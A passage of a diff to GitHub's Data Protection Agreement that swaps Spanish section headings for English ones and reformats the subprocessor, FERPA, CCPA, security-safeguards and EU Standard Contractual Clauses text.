Customer notice prior to availability of that Online Service. -### Aviso y Controles de Uso de Subprocesadores +If Customer does not approve of a new Subprocessor, then Customer may terminate any subscription for the affected Online Service without penalty by providing, before the end of the relevant notice period, written notice of termination. Customer may also include an explanation of the grounds for non-approval together with the termination notice, in order to permit GitHub to re-evaluate any such new Subprocessor based on the applicable concerns. If the affected Online Service is part of a suite (or similar single purchase of services), then any termination will apply to the entire suite. After termination, GitHub will remove payment obligations for any subscriptions for the terminated Online Service from subsequent invoices to Customer or its reseller. -GitHub may hire Subprocessors to provide certain limited or ancillary services on its behalf. Customer consents to this engagement and to GitHub Affiliates as Subprocessors. The above authorizations will constitute Customer’s prior written consent to the subcontracting by GitHub of the processing of Personal Data if such consent is required under applicable law, the Standard Contractual Clauses or the GDPR Related Terms. +### Educational Institutions +If Customer is an educational agency or institution subject to the regulations under the Family Educational Rights and Privacy Act, 20 U.S.C. § 1232g (FERPA), or similar state student or educational privacy laws (collectively “Educational Privacy Laws”), Customer shall not provide Personal Data covered by such Educational Privacy Laws to GitHub without obtaining GitHub’s prior, written and specific consent and entering into a separate agreement with GitHub governing the parties’ rights and obligations with respect to the processing of such Personal Data by GitHub in connection with the Online Services. -GitHub is responsible for its Subprocessors’ compliance with GitHub’s obligations in this DPA. GitHub makes available information about Subprocessors on the GitHub website https://github.com/subprocessors (or a successor location). When engaging any Subprocessor, GitHub will ensure via a written contract that the Subprocessor may access and use Customer Data or Personal Data only to deliver the services GitHub has retained them to provide and is prohibited from using Customer Data or Personal Data for any other purpose. GitHub will ensure that Subprocessors are bound by written agreements that require them to provide at least the level of data protection required of GitHub by the DPA, including the limitations on disclosure of Personal Data. GitHub agrees to oversee the Subprocessors to ensure that these contractual obligations are met. +Subject to the above, if Customer intends to provide to GitHub Personal Data covered by FERPA, the parties agree and acknowledge that, for the purposes of this DPA, GitHub is a “school official” with “legitimate educational interests” in the Personal Data, as those terms have been defined under FERPA and its implementing regulations. Customer understands that GitHub may possess limited or no contact information for Customer’s students and students’ parents. Consequently, Customer will be responsible for obtaining any student or parental consent for any end user’s use of the Online Services that may be required by applicable law and to convey notification on behalf of GitHub to students (or, with respect to a student under 18 years of age and not in attendance at a postsecondary institution, to the student’s parent) of any judicial order or lawfully-issued subpoena requiring the disclosure of Personal Data in GitHub’s possession as may be required under applicable law. -From time to time, GitHub may engage new Subprocessors. GitHub will give Customer notice (by updating the website at https://github.com/github-subprocessors-list (or a successor location) and providing Customer with a mechanism to obtain notice of that update) of any new Subprocessor in advance of providing that Subprocessor with access to Customer Data. If GitHub engages a new Subprocessor for a new Online Service, GitHub will give Customer notice prior to availability of that Online Service. +### CJIS Customer Agreement, HIPAA Business Associate, Biometric Data -If Customer does not approve of a new Subprocessor, then Customer may terminate any subscription for the affected Online Service without penalty by providing, before the end of the relevant notice period, written notice of termination. Customer may also include an explanation of the grounds for non-approval together with the termination notice, in order to permit GitHub to re-evaluate any such new Subprocessor based on the applicable concerns. If the affected Online Service is part of a suite (or similar single purchase of services), then any termination will apply to the entire suite. After termination, GitHub will remove payment obligations for any subscriptions for the terminated Online Service from subsequent invoices to Customer or its reseller. +Except with GitHub’s prior, written and specific consent, Customer shall not provide to GitHub any Personal Data -### Instituciones Educativas -If Customer is an educational agency or institution subject to the regulations under the Family Educational Rights and Privacy Act, 20 U.S.C. § 1232g (FERPA), or similar state student or educational privacy laws (collectively “Educational Privacy Laws”), Customer shall not provide Personal Data covered by such Educational Privacy Laws to GitHub without obtaining GitHub’s prior, written and specific consent and entering into a separate agreement with GitHub governing the parties’ rights and obligations with respect to the processing of such Personal Data by GitHub in connection with the Online Services. +- relating to criminal convictions and offenses or Personal Data collected or otherwise processed by Customer subject to or in connection with FBI +Criminal Justice Information Services or the related Security Policy. +- constituting protected health information governed by the privacy, security, and breach notification rules issued by the United States Department of Health and Human Services, Parts 160 and 164 of Title 45 of the Code of Federal Regulations, established pursuant to the Health Insurance Portability and Accountability Act of 1996 (Public Law 104-191) or by state health or medical privacy laws. +- collected as part of a clinical trial or other biomedical research study subject to, or conducted in accordance with, the Federal Policy for the Protection of Human Subjects (Common Rule). +- covered by state, federal or foreign biometric privacy laws or otherwise constituting biometric information including information on an individual’s physical, physiological, biological or behavioral characteristics or information derived from such information that is used or intended to be used, singly or in combination with each other or with other information, to establish individual identity. -Subject to the above, if Customer intends to provide to GitHub Personal Data covered by FERPA, the parties agree and acknowledge that, for the purposes of this DPA, GitHub is a “school official” with “legitimate educational interests” in the Personal Data, as those terms have been defined under FERPA and its implementing regulations. Customer understands that GitHub may possess limited or no contact information for Customer’s students and students’ parents. Consequently, Customer will be responsible for obtaining any student or parental consent for any end user’s use of the Online Services that may be required by applicable law and to convey notification on behalf of GitHub to students (or, with respect to a student under 18 years of age and not in attendance at a postsecondary institution, to the student’s parent) of any judicial order or lawfully-issued subpoena requiring the disclosure of Personal Data in GitHub’s possession as may be required under applicable law. +### California Consumer Privacy Act (CCPA) / California Privacy Rights Act (CPRA) -### Acuerdo de Cliente de CJIS, Asociado de Negocios HIPAA, Datos Biométricos +If and to the extent GitHub is processing Personal Data on behalf and in accordance with the documented instructions of Customer within the scope of the CCPA, GitHub makes the following additional commitments to Customer. GitHub will process the Personal Data on behalf of Customer and will not -Except with GitHub’s prior, written and specific consent, Customer shall not provide to GitHub any Personal Data +- sell the Personal Data as the term “selling” is defined in the CCPA. - share, rent, release, disclose, disseminate, make available, transfer or otherwise communicate orally, in writing or by electronic or other means, the Personal Data to a third party for cross-context behavioral advertising, whether or not for monetary or other valuable consideration, including +transactions for cross-context behavioral advertising in which no money is exchanged. +- retain, use or disclose the Personal Data for any purpose other than for the business purposes specified in the DPA Terms and the GitHub Customer Agreement, including retaining, using or disclosing the Personal Data for a commercial purpose other than the business purposes specified in the DPA Terms or the GitHub Customer Agreement, or as otherwise permitted by the CCPA. +- retain, use or disclose the Personal Data outside of the direct business relationship with Customer. +- combine the Personal Data with personal information that it receives from or on behalf of a third party or collects from California residents, except that GitHub may combine Personal Data to perform any business purpose as permitted by the CCPA or any regulations adopted or issued under the CCPA. -- relating to criminal convictions and offenses or Personal Data collected or otherwise processed by Customer subject to or in connection with FBI Criminal Justice Information Services or the related Security Policy. -- constituting protected health information governed by the privacy, security, and breach notification rules issued by the United States Department of Health and Human Services, Parts 160 and 164 of Title 45 of the Code of Federal Regulations, established pursuant to the Health Insurance Portability and Accountability Act of 1996 (Public Law 104-191) or by state health or medical privacy laws. -- collected as part of a clinical trial or other biomedical research study subject to, or conducted in accordance with, the Federal Policy for the Protection of Human Subjects (Common Rule). -- covered by state, federal or foreign biometric privacy laws or otherwise constituting biometric information including information on an individual’s physical, physiological, biological or behavioral characteristics or information derived from such information that is used or intended to be used, singly or in combination with each other or with other information, to establish individual identity. +### How to Contact GitHub -### California Consumer Privacy Act (CCPA) / California Privacy Rights Act (CPRA) +If Customer believes that GitHub is not adhering to its privacy or security commitments, Customer may contact customer support or use GitHub’s Privacy web form, located at https://support.github.com/contact/privacy. GitHub’s mailing address is: -If and to the extent GitHub is processing Personal Data on behalf and in accordance with the documented instructions of Customer within the scope of the CCPA, GitHub makes the following additional commitments to Customer. GitHub will process the Personal Data on behalf of Customer and will not +**GitHub Privacy**
+GitHub, Inc.
+88 Colin P. Kelly Jr. Street
+San Francisco, California 94107 USA
-- sell the Personal Data as the term “selling” is defined in the CCPA. - share, rent, release, disclose, disseminate, make available, transfer or otherwise communicate orally, in writing or by electronic or other means, the Personal Data to a third party for cross-context behavioral advertising, whether or not for monetary or other valuable consideration, including transactions for cross-context behavioral advertising in which no money is exchanged. -- retain, use or disclose the Personal Data for any purpose other than for the business purposes specified in the DPA Terms and the GitHub Customer Agreement, including retaining, using or disclosing the Personal Data for a commercial purpose other than the business purposes specified in the DPA Terms or the GitHub Customer Agreement, or as otherwise permitted by the CCPA. -- retain, use or disclose the Personal Data outside of the direct business relationship with Customer. -- combine the Personal Data with personal information that it receives from or on behalf of a third party or collects from California residents, except that GitHub may combine Personal Data to perform any business purpose as permitted by the CCPA or any regulations adopted or issued under the CCPA. +GitHub B.V. is GitHub’s data protection representative for the European Economic Area. The privacy representative of GitHub B.V. can be reached at the following address: -### Cómo Contactar a GitHub - -If Customer believes that GitHub is not adhering to its privacy or security commitments, Customer may contact customer support or use GitHub’s Privacy web form, located at https://support.github.com/contact/privacy. GitHub’s mailing address is: - -**GitHub Privacy**
GitHub, Inc.
88 Colin P. Kelly Jr. Street
San Francisco, California 94107 USA
- -GitHub B.V. is GitHub’s data protection representative for the European Economic Area. The privacy representative of GitHub B.V. can be reached at the following address: - -**GitHub B.V.**
Vijzelstraat 68-72
1017 HL Amsterdam
The Netherlands
+**GitHub B.V.**
+Vijzelstraat 68-72
+1017 HL Amsterdam
+The Netherlands

Appendix A – Security Safeguards

-GitHub has implemented and will maintain for Customer Data and Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with GitHub services the following technical and organizational measures and security safeguards, which in conjunction with the security commitments in this DPA (including the GDPR Related Terms), are GitHub’s only responsibility with respect to the security of that data: - -| Domain | Practices | -| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Organization of Information Security | **Security Ownership**. GitHub has appointed one or more security officers responsible for coordinating and monitoring the security policies and procedures.

**Security Roles and Responsibilities**. GitHub personnel with access to Customer Data and Personal Data are subject to confidentiality obligations.

**Risk Management Program**. GitHub performs an annual risk assessment.
GitHub retains its security documents pursuant to its retention requirements after they are no longer in effect.

**Vendor Management**. GitHub has a vendor risk assessment process, vendor contract clauses and additional data protection agreements with vendors. | -| Asset Management | **Asset Inventory**. GitHub maintains an inventory of all media on which Customer Data and Personal Data is stored. Access to the inventories of such media is restricted to GitHub personnel authorized to have such access.

**Asset Handling**
- GitHub classifies Customer Data and Personal Data to help identify it and to allow for access to it to be appropriately restricted.
- GitHub communicates employee responsibility and accountability for data protection up to and including cause for termination.
GitHub personnel must obtain GitHub authorization prior to remotely accessing Customer Data and Personal Data or processing Customer Data and Personal Data outside GitHub’s facilities. | -| Human Resources Security | **Security Training**. GitHub requires all new hires to complete security and privacy awareness training as part of initial on-boarding. Participation in annual training is required for all employees to provide a baseline for security and privacy basics. | -| Physical and Environmental Security | **Physical Access to Facilities**. GitHub limits access to facilities where information systems that process Customer Data and Personal Data are located to identified authorized individuals.

**Physical Access to Components**. GitHub maintains records of the incoming and outgoing media containing Customer Data, including the kind of media, the authorized sender/recipients, date and time, the number of media and the types of Customer Data and Personal Data they contain.

**Protection from Disruptions**. GitHub uses a variety of industry standard systems to protect against loss of data due to power supply failure or line interference.

**Component Disposal**. GitHub uses industry standard processes to delete Customer Data and Personal Data when it is no longer needed. | -| Communications and Operations Management | **Operational Policy**. GitHub maintains security documents describing its security measures and the relevant procedures and responsibilities of its personnel who have access to Customer Data.

**Data Recovery Procedures**
- On an ongoing basis, but in no case less frequently than once a week (unless no Customer Data and Personal Data has been updated during that period), GitHub maintains multiple copies of Customer Data and Personal Data from which Customer Data and Personal Data can be recovered.
- GitHub stores copies of Customer Data and Personal Data and data recovery procedures in a different place from where the primary computer equipment processing the Customer Data and Personal Data is located.
- GitHub has specific procedures in place governing access to copies of Customer Data.
- GitHub logs data restoration efforts, including the person responsible, the description of the restored data and where applicable, the person responsible and which data (if any) had to be input manually in the data recovery process.

**Malicious Software**. GitHub has threat detection controls to help identify and respond to anomalous or suspicious access to Customer Data, including malicious software originating from public networks.

**Data Beyond Boundaries**
- GitHub encrypts, or enables Customer to encrypt, Customer Data and Personal Data that is transmitted over public networks.
- GitHub restricts access to Customer Data and Personal Data in media leaving its facilities.

**Event Logging**. GitHub logs, or enables Customer to log, access and use of information systems containing Customer Data, registering the access ID, time, authorization granted or denied, and relevant activity. | -| Access Control | **Access Policy**. GitHub maintains a record of security privileges of individuals having access to Customer Data.

**Access Authorization**
- GitHub maintains and updates a record of personnel authorized to access GitHub systems that contain Customer Data.
- GitHub identifies those personnel who may grant, alter or cancel authorized access to data and resources.
- GitHub ensures that where more than one individual has access to systems containing Customer Data, the individuals have separate identifiers/log-ins where technically and architecturally feasible, and commercially reasonable.

**Least Privilege**
- Technical support personnel are only permitted to have access to Customer Data and Personal Data when needed.
- GitHub restricts access to Customer Data and Personal Data to only those individuals who require such access to perform their job function. GitHub employees are only granted access to production systems based on their role within the organization.

**Integrity and Confidentiality**

- GitHub instructs GitHub personnel to disable administrative sessions when computers are left unattended.
- GitHub stores passwords such that they are encrypted or unintelligible while they are in force.

**Authentication**
- GitHub uses industry standard practices to identify and authenticate users who attempt to access information systems.
- Where authentication mechanisms are based solely on passwords, GitHub requires the password to be at least eight characters long.
- GitHub ensures that de-activated or expired employee identifiers are not granted to other individuals.
- GitHub monitors, or enables Customer to monitor, repeated attempts to gain access to the information system using an invalid password.
- GitHub maintains industry standard procedures to deactivate passwords that have been corrupted or inadvertently disclosed.
- GitHub uses industry standard password protection practices, including practices designed to maintain the confidentiality and integrity of passwords when they are assigned and distributed, and during storage.

**Network Design**. GitHub has controls to ensure no systems storing Customer Data and Personal Data are part of the same logical network used for GitHub business operations. | -| Information Security Incident Management | **Incident Response Process**
- GitHub maintains a record of security incidents with a description of the incidents, the time period, the consequences of the breach, the name of the reporter, and to whom the incident was reported, and details regarding the handling of the incident.
- In the event that GitHub Security confirms or reasonably suspects that a GitHub.com customer is affected by a data breach, we will notify the customer without undue delay
- GitHub tracks, or enables Customer to track, disclosures of Customer Data, including what data has been disclosed, to whom, and at what time.

**Service Monitoring**. GitHub employs a wide range of continuous monitoring solutions for preventing, detecting, and mitigating attacks to the site. | -| Business Continuity Management | - GitHub maintains emergency and contingency plans for the facilities in which GitHub information systems that process Customer Data and Personal Data are located.
- GitHub’s redundant storage and its procedures for recovering data are designed to attempt to reconstruct Customer Data and Personal Data in its original or last-replicated state from before the time it was lost or destroyed. | +GitHub has implemented and will maintain for Customer Data and Personal Data processed by GitHub on behalf and in accordance with the +documented instructions of Customer in connection with GitHub services the following technical and organizational measures and security +safeguards, which in conjunction with the security commitments in this DPA (including the GDPR Related Terms), are GitHub’s only responsibility +with respect to the security of that data: + +Domain | Practices +-------|---------| +Organization of Information Security | **Security Ownership**. GitHub has appointed one or more security officers responsible for coordinating and monitoring the security policies and procedures.

**Security Roles and Responsibilities**. GitHub personnel with access to Customer Data and Personal Data are subject to confidentiality obligations.

**Risk Management Program**. GitHub performs an annual risk assessment.
GitHub retains its security documents pursuant to its retention requirements after they are no longer in effect.

**Vendor Management**. GitHub has a vendor risk assessment process, vendor contract clauses and additional data protection agreements with vendors. +Asset Management | **Asset Inventory**. GitHub maintains an inventory of all media on which Customer Data and Personal Data is stored. Access to the inventories of such media is restricted to GitHub personnel authorized to have such access.

**Asset Handling**
- GitHub classifies Customer Data and Personal Data to help identify it and to allow for access to it to be appropriately restricted.
- GitHub communicates employee responsibility and accountability for data protection up to and including cause for termination.
GitHub personnel must obtain GitHub authorization prior to remotely accessing Customer Data and Personal Data or processing Customer Data and Personal Data outside GitHub’s facilities. +Human Resources Security | **Security Training**. GitHub requires all new hires to complete security and privacy awareness training as part of initial on-boarding. Participation in annual training is required for all employees to provide a baseline for security and privacy basics. +Physical and Environmental Security | **Physical Access to Facilities**. GitHub limits access to facilities where information systems that process Customer Data and Personal Data are located to identified authorized individuals.

**Physical Access to Components**. GitHub maintains records of the incoming and outgoing media containing Customer Data, including the kind of media, the authorized sender/recipients, date and time, the number of media and the types of Customer Data and Personal Data they contain.

**Protection from Disruptions**. GitHub uses a variety of industry standard systems to protect against loss of data due to power supply failure or line interference.

**Component Disposal**. GitHub uses industry standard processes to delete Customer Data and Personal Data when it is no longer needed. +Communications and Operations Management | **Operational Policy**. GitHub maintains security documents describing its security measures and the relevant procedures and responsibilities of its personnel who have access to Customer Data.

**Data Recovery Procedures**
- On an ongoing basis, but in no case less frequently than once a week (unless no Customer Data and Personal Data has been updated during that period), GitHub maintains multiple copies of Customer Data and Personal Data from which Customer Data and Personal Data can be recovered.
- GitHub stores copies of Customer Data and Personal Data and data recovery procedures in a different place from where the primary computer equipment processing the Customer Data and Personal Data is located.
- GitHub has specific procedures in place governing access to copies of Customer Data.
- GitHub logs data restoration efforts, including the person responsible, the description of the restored data and where applicable, the person responsible and which data (if any) had to be input manually in the data recovery process.

**Malicious Software**. GitHub has threat detection controls to help identify and respond to anomalous or suspicious access to Customer Data, including malicious software originating from public networks.

**Data Beyond Boundaries**
- GitHub encrypts, or enables Customer to encrypt, Customer Data and Personal Data that is transmitted over public networks.
- GitHub restricts access to Customer Data and Personal Data in media leaving its facilities.

**Event Logging**. GitHub logs, or enables Customer to log, access and use of information systems containing Customer Data, registering the access ID, time, authorization granted or denied, and relevant activity. +Access Control | **Access Policy**. GitHub maintains a record of security privileges of individuals having access to Customer Data.

**Access Authorization**
- GitHub maintains and updates a record of personnel authorized to access GitHub systems that contain Customer Data.
- GitHub identifies those personnel who may grant, alter or cancel authorized access to data and resources.
- GitHub ensures that where more than one individual has access to systems containing Customer Data, the individuals have separate identifiers/log-ins where technically and architecturally feasible, and commercially reasonable.

**Least Privilege**
- Technical support personnel are only permitted to have access to Customer Data and Personal Data when needed.
- GitHub restricts access to Customer Data and Personal Data to only those individuals who require such access to perform their job function. GitHub employees are only granted access to production systems based on their role within the organization.

**Integrity and Confidentiality**

- GitHub instructs GitHub personnel to disable administrative sessions when computers are left unattended.
- GitHub stores passwords such that they are encrypted or unintelligible while they are in force.

**Authentication**
- GitHub uses industry standard practices to identify and authenticate users who attempt to access information systems.
- Where authentication mechanisms are based solely on passwords, GitHub requires the password to be at least eight characters long.
- GitHub ensures that de-activated or expired employee identifiers are not granted to other individuals.
- GitHub monitors, or enables Customer to monitor, repeated attempts to gain access to the information system using an invalid password.
- GitHub maintains industry standard procedures to deactivate passwords that have been corrupted or inadvertently disclosed.
- GitHub uses industry standard password protection practices, including practices designed to maintain the confidentiality and integrity of passwords when they are assigned and distributed, and during storage.

**Network Design**. GitHub has controls to ensure no systems storing Customer Data and Personal Data are part of the same logical network used for GitHub business operations. +Information Security Incident Management | **Incident Response Process**
- GitHub maintains a record of security incidents with a description of the incidents, the time period, the consequences of the breach, the name of the reporter, and to whom the incident was reported, and details regarding the handling of the incident.
- In the event that GitHub Security confirms or reasonably suspects that a GitHub.com customer is affected by a data breach, we will notify the customer without undue delay
- GitHub tracks, or enables Customer to track, disclosures of Customer Data, including what data has been disclosed, to whom, and at what time.

**Service Monitoring**. GitHub employs a wide range of continuous monitoring solutions for preventing, detecting, and mitigating attacks to the site. +Business Continuity Management | - GitHub maintains emergency and contingency plans for the facilities in which GitHub information systems that process Customer Data and Personal Data are located.
- GitHub’s redundant storage and its procedures for recovering data are designed to attempt to reconstruct Customer Data and Personal Data in its original or last-replicated state from before the time it was lost or destroyed.

Attachment 1 - The Standard Contractual Clauses (EU/EEA)

-### Controller to Processor +### Controller to Processor -#### SECTION I +#### SECTION I -##### Clause 1 +##### Clause 1 **Purpose and scope** @@ -310,7 +322,7 @@ GitHub has implemented and will maintain for Customer Data and Personal Data pro
  • The Appendix to these Clauses containing the Annexes referred to therein forms an integral part of these Clauses.
    • -##### Clause 2 +##### Clause 2 **Effect and invariability of the Clauses**
      @@ -337,7 +349,7 @@ GitHub has implemented and will maintain for Customer Data and Personal Data pro
    1. Paragraph (a) is without prejudice to rights of data subjects under Regulation (EU) 2016/679.
    -##### Clause 4 +##### Clause 4 **Interpretation** @@ -347,21 +359,21 @@ GitHub has implemented and will maintain for Customer Data and Personal Data pro
  • These Clauses shall not be interpreted in a way that conflicts with rights and obligations provided for in Regulation (EU) 2016/679.
    • -##### Clause 5 +##### Clause 5 **Hierarchy** In the event of a contradiction between these Clauses and the provisions of related agreements between the Parties, existing at the time these Clauses are agreed or entered into thereafter, these Clauses shall prevail. -##### Clause 6 +##### Clause 6 -**Description of the transfer(s)** +**Description of the transfer(s)** -The details of the transfer(s), and in particular the categories of personal data that are transferred and the purpose(s) for which they are transferred, are specified in Annex I.B. +The details of the transfer(s), and in particular the categories of personal data that are transferred and the purpose(s) for which they are transferred, are specified in Annex I.B. -##### Clause 7 +##### Clause 7 -**Docking clause** +**Docking clause**
    1. An entity that is not a Party to these Clauses may, with the agreement of the Parties, accede to these Clauses at any time, either as a data exporter or as a data importer, by completing the Appendix and signing Annex I.A.
      2. @@ -369,36 +381,38 @@ The details of the transfer(s), and in particular the categories of personal dat
    2. The acceding entity shall have no rights or obligations arising under these Clauses from the period prior to becoming a Party.
    -#### SECTION II – OBLIGATIONS OF THE PARTIES +#### SECTION II – OBLIGATIONS OF THE PARTIES -##### Clause 8 +##### Clause 8 -**Data protection safeguards** +**Data protection safeguards** -The data exporter warrants that it has used reasonable efforts to determine that the data importer is able, through the implementation of appropriate technical and organisational measures, to satisfy its obligations under these Clauses. +The data exporter warrants that it has used reasonable efforts to determine that the data importer is able, through the implementation of appropriate technical and organisational measures, to satisfy its obligations under these Clauses. -**8.1 Instructions**
      +**8.1 Instructions** +
      1. The data importer shall process the personal data only on documented instructions from the data exporter. The data exporter may give such instructions throughout the duration of the contract.
      2. The data importer shall immediately inform the data exporter if it is unable to follow those instructions.
      + **8.2 Purpose limitation** -The data importer shall process the personal data only for the specific purpose(s) of the transfer, as set out in Annex I.B, unless on further instructions from the data exporter. +The data importer shall process the personal data only for the specific purpose(s) of the transfer, as set out in Annex I.B, unless on further instructions from the data exporter. -**8.3 Transparency** +**8.3 Transparency** -On request, the data exporter shall make a copy of these Clauses, including the Appendix as completed by the Parties, available to the data subject free of charge. To the extent necessary to protect business secrets or other confidential information, including the measures described in Annex II and personal data, the data exporter may redact part of the text of the Appendix to these Clauses prior to sharing a copy, but shall provide a meaningful summary where the data subject would otherwise not be able to understand the its content or exercise his/her rights. On request, the Parties shall provide the data subject with the reasons for the redactions, to the extent possible without revealing the redacted information. This Clause is without prejudice to the obligations of the data exporter under Articles 13 and 14 of Regulation (EU) 2016/679. +On request, the data exporter shall make a copy of these Clauses, including the Appendix as completed by the Parties, available to the data subject free of charge. To the extent necessary to protect business secrets or other confidential information, including the measures described in Annex II and personal data, the data exporter may redact part of the text of the Appendix to these Clauses prior to sharing a copy, but shall provide a meaningful summary where the data subject would otherwise not be able to understand the its content or exercise his/her rights. On request, the Parties shall provide the data subject with the reasons for the redactions, to the extent possible without revealing the redacted information. This Clause is without prejudice to the obligations of the data exporter under Articles 13 and 14 of Regulation (EU) 2016/679. -**8.4 Accuracy** +**8.4 Accuracy** -If the data importer becomes aware that the personal data it has received is inaccurate, or has become outdated, it shall inform the data exporter without undue delay. In this case, the data importer shall cooperate with the data exporter to erase or rectify the data. +If the data importer becomes aware that the personal data it has received is inaccurate, or has become outdated, it shall inform the data exporter without undue delay. In this case, the data importer shall cooperate with the data exporter to erase or rectify the data. -**8.5 Duration of processing and erasure or return of data** +**8.5 Duration of processing and erasure or return of data** -Processing by the data importer shall only take place for the duration specified in Annex I.B. After the end of the provision of the processing services, the data importer shall, at the choice of the data exporter, delete all personal data processed on behalf of the data exporter and certify to the data exporter that it has done so, or return to the data exporter all personal data processed on its behalf and delete existing copies. Until the data is deleted or returned, the data importer shall continue to ensure compliance with these Clauses. In case of local laws applicable to the data importer that prohibit return or deletion of the personal data, the data importer warrants that it will continue to ensure compliance with these Clauses and will only process it to the extent and for as long as required under that local law. This is without prejudice to Clause 14, in particular the requirement for the data importer under Clause 14(e) to notify the data exporter throughout the duration of the contract if it has reason to believe that it is or has become subject to laws or practices not in line with the requirements under Clause 14(a). +Processing by the data importer shall only take place for the duration specified in Annex I.B. After the end of the provision of the processing services, the data importer shall, at the choice of the data exporter, delete all personal data processed on behalf of the data exporter and certify to the data exporter that it has done so, or return to the data exporter all personal data processed on its behalf and delete existing copies. Until the data is deleted or returned, the data importer shall continue to ensure compliance with these Clauses. In case of local laws applicable to the data importer that prohibit return or deletion of the personal data, the data importer warrants that it will continue to ensure compliance with these Clauses and will only process it to the extent and for as long as required under that local law. This is without prejudice to Clause 14, in particular the requirement for the data importer under Clause 14(e) to notify the data exporter throughout the duration of the contract if it has reason to believe that it is or has become subject to laws or practices not in line with the requirements under Clause 14(a). -**8.6 Security of processing** +**8.6 Security of processing**
      1. The data importer and, during transmission, also the data exporter shall implement appropriate technical and organisational measures to ensure the security of the data, including protection against a breach of security leading to accidental or unlawful destruction, loss, alteration, unauthorised disclosure or access to that data (hereinafter ‘personal data breach’). In assessing the appropriate level of security, the Parties shall take due account of the state of the art, the costs of implementation, the nature, scope, context and purpose(s) of processing and the risks involved in the processing for the data subjects. The Parties shall in particular consider having recourse to encryption or pseudonymisation, including during transmission, where the purpose of processing can be fulfilled in that manner. In case of pseudonymisation, the additional information for attributing the personal data to a specific data subject shall, where possible, remain under the exclusive control of the data exporter. In complying with its obligations under this paragraph, the data importer shall at least implement the technical and organisational measures specified in Annex II. The data importer shall carry out regular checks to ensure that these measures continue to provide an appropriate level of security.
        2. @@ -407,13 +421,13 @@ Processing by the data importer shall only take place for the duration specified
      2. The data importer shall cooperate with and assist the data exporter to enable the data exporter to comply with its obligations under Regulation (EU) 2016/679, in particular to notify the competent supervisory authority and the affected data subjects, taking into account the nature of processing and the information available to the data importer.
      -**8.7 Sensitive data** +**8.7 Sensitive data** -Where the transfer involves personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, genetic data, or biometric data for the purpose of uniquely identifying a natural person, data concerning health or a person’s sex life or sexual orientation, or data relating to criminal convictions and offences (hereinafter ‘sensitive data’), the data importer shall apply the specific restrictions and/or additional safeguards described in Annex I.B. +Where the transfer involves personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, genetic data, or biometric data for the purpose of uniquely identifying a natural person, data concerning health or a person’s sex life or sexual orientation, or data relating to criminal convictions and offences (hereinafter ‘sensitive data’), the data importer shall apply the specific restrictions and/or additional safeguards described in Annex I.B. -**8.8 Onward transfers** +**8.8 Onward transfers** -The data importer shall only disclose the personal data to a third party on documented instructions from the data exporter. In addition, the data may only be disclosed to a third party located outside the European Union (1) (in the same country as the data importer or in another third country, hereinafter ‘onward transfer’) if the third party is or agrees to be bound by these Clauses, under the appropriate Module, or if: +The data importer shall only disclose the personal data to a third party on documented instructions from the data exporter. In addition, the data may only be disclosed to a third party located outside the European Union (1) (in the same country as the data importer or in another third country, hereinafter ‘onward transfer’) if the third party is or agrees to be bound by these Clauses, under the appropriate Module, or if:
      1. the onward transfer is to a country benefitting from an adequacy decision pursuant to Article 45 of Regulation (EU) 2016/679 that covers the onward transfer;
        2. @@ -423,7 +437,7 @@ The data importer shall only disclose the personal data to a third party on docu Any onward transfer is subject to compliance by the data importer with all the other safeguards under these Clauses, in particular purpose limitation.
      -**8.9 Documentation and compliance** +**8.9 Documentation and compliance**
      1. The data importer shall promptly and adequately deal with enquiries from the data exporter that relate to the processing under these Clauses.
        2. @@ -432,10 +446,11 @@ The data importer shall only disclose the personal data to a third party on docu
      2. The data exporter may choose to conduct the audit by itself or mandate an independent auditor. Audits may include inspections at the premises or physical facilities of the data importer and shall, where appropriate, be carried out with reasonable notice.
      3. The Parties shall make the information referred to in paragraphs (b) and (c), including the results of any audits, available to the competent supervisory authority on request.
      + ##### Clause 9 -**Use of sub-processors** +**Use of sub-processors**
      1. GENERAL WRITTEN AUTHORISATION The data importer has the data exporter’s general authorisation for the engagement of sub-processor(s) from an agreed list. The data importer shall specifically inform the data exporter in writing of any intended changes to that list through the addition or replacement of sub-processors at least 90 days in advance, thereby giving the data exporter sufficient time to be able to object to such changes prior to the engagement of the sub-processor(s). The data importer shall provide the data exporter with the information necessary to enable the data exporter to exercise its right to object.
        2. @@ -502,7 +517,7 @@ The data importer shall only disclose the personal data to a third party on docu ##### Clause 14 **Local laws and practices affecting compliance with the Clauses** - +
        1. The Parties warrant that they have no reason to believe that the laws and practices in the third country of destination applicable to the processing of the personal data by the data importer, including any requirements to disclose personal data or measures authorising access by public authorities, prevent the data importer from fulfilling its obligations under these Clauses. This is based on the understanding that laws and practices that respect the essence of the fundamental rights and freedoms and do not exceed what is necessary and proportionate in a democratic society to safeguard one of the objectives listed in Article 23(1) of Regulation (EU) 2016/679, are not in contradiction with these Clauses.
        2. The Parties declare that in providing the warranty in paragraph (a), they have taken due account in particular of the following elements:
          3. @@ -586,17 +601,31 @@ These Clauses shall be governed by the law of one of the EU Member States, provi ### A. LIST OF PARTIES -**Data exporter(s)**: Customer is the data exporter
          Name: see GitHub Customer Agreement
          Address: see GitHub Customer Agreement
          Contact person’s name, position and contact details: see GitHub Customer Agreement
          Activities relevant to the data transferred under these Clauses:
          The data exporter is a user of Online Services or Professional Services as defined in the DPA and GitHub Customer Agreement.
          Signature and date: see GitHub Customer Agreement (the DPA and the Standard Contractual Clauses (EU/EEA) are incorporated into the GitHub Customer Agreement
          Role (controller/processor): controller (unless otherwise agreed in the Customer Agreement).
          - -**Data importer(s)**:
          Name: GitHub, Inc.
